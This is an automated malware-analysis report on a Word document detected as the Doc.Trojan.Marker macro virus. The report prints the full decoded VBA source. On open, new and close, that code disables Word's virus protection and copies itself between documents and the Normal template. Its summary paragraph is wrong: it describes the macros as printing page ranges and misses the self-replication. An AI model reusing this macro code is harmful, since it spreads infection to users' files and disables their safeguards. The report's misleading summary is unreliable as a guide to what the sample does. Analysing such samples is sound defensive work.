MALICIOUS
148
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is an Office document containing VBA macros, identified by ClamAV as Doc.Trojan.Marker-40. The macros, specifically 'CommandButton11_Click', 'CommandButton12_Click', and 'Main_Click', are designed to print specific page ranges of the document. This behavior, combined with the ClamAV detection, suggests a malicious intent, possibly to distract the user or as part of a larger exploit chain.
Heuristics 3
-
ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-40
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Dim x1, x2, x3, x4 As Boolean Dim x5, x6 As Object Dim x7, x8, x16 As Integer Dim x9 As Date Dim x10, x11, x12, x13, x14 As String Const x15 = ":-D you are marked!" Private Sub CommandButton11_Click() ' Threat Macro ' Macro recorded 01/07/99 by Telephone Swit …
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5289 bytes |
SHA-256: 848e21b759861a48f139093de895af73c2a3aea145fe4336e068c6ba240470c0 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub CommandButton11_Click()
' Threat Macro
' Macro recorded 01/07/99 by Telephone Switching
'
Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
wdPrintDocumentContent, Copies:=1, Pages:="19-46", PageType:= _
wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub
Private Sub CommandButton12_Click()
'
' Process Macro
' Macro recorded 01/07/99 by Telephone Switching
'
Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
wdPrintDocumentContent, Copies:=1, Pages:="47-87", PageType:= _
wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub
Private Sub Main_Click()
'
' Main Macro
' Macro recorded 01/07/99 by Telephone Switching
'
Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
wdPrintDocumentContent, Copies:=1, Pages:="1-18", PageType:= _
wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
If x10 = vbYes Then
MsgBox "Thank You! I Love You. You are wonderfull."
Else
MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
End If
End If
If x3 = True Then
x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
If x3 = True Then
x2 = NormalTemplate.Saved
x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
x6.CodeModule.AddFromString x11
With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July. Don't Forget to wish him": .Execute: End With
If x2 = True Then NormalTemplate.Save
End If
If x4 = True Or ActiveDocument.Saved = False Then
x1 = ActiveDocument.Saved
x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
x5.CodeModule.AddFromString x11
With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July. Don't Forget to wish him": .Execute: End With
If x1 = True Then ActiveDocument.Save
End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.